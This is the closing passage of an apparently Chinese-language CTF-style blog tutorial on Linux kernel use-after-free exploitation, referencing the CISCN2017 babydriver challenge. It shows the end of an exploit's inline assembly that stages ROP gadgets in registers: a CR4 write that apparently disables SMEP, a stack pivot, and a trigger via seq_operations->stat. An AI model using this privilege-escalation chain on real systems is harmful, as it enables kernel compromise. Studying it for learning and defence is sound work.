"mov r13, mov_cr4_rdi_pop_rbp_ret;"
"mov r12, 0x6f0;"
"mov rbp, add_rsp_0x48_ret;"
"mov rbx, pop_rdi_ret;"
"mov r11, 0x66666666;"
"mov r10, 0xdeadbeaf;"
"mov r9, pop_rsp_ret;" // 后半部分
"mov r8, function;"
"xor rax, rax;"
"mov rcx, 0xaaaaaaaa;"
"mov rdx, 8;"
"mov rsi, rsp;"
"mov rdi, seq_fd;" // 通过 seq_operations->stat 来触发
"syscall;"
);

return 0;
}

0x0?. 参考内容

arttnba3师傅的博客

【kernel-pwn】一题多解:从CISCN2017-babydriver入门题带你学习tty_struct、seq_file、msg_msg、pt_regs的利用_ciscn 2017 babydrive-CSDN博客


0x02. Linux kernel基础:Kernel UAF
http://example.com/2024/07/20/system/kernel/Linux_kernel1_UAF/
作者
Ltfall
发布于
2024年7月20日
许可协议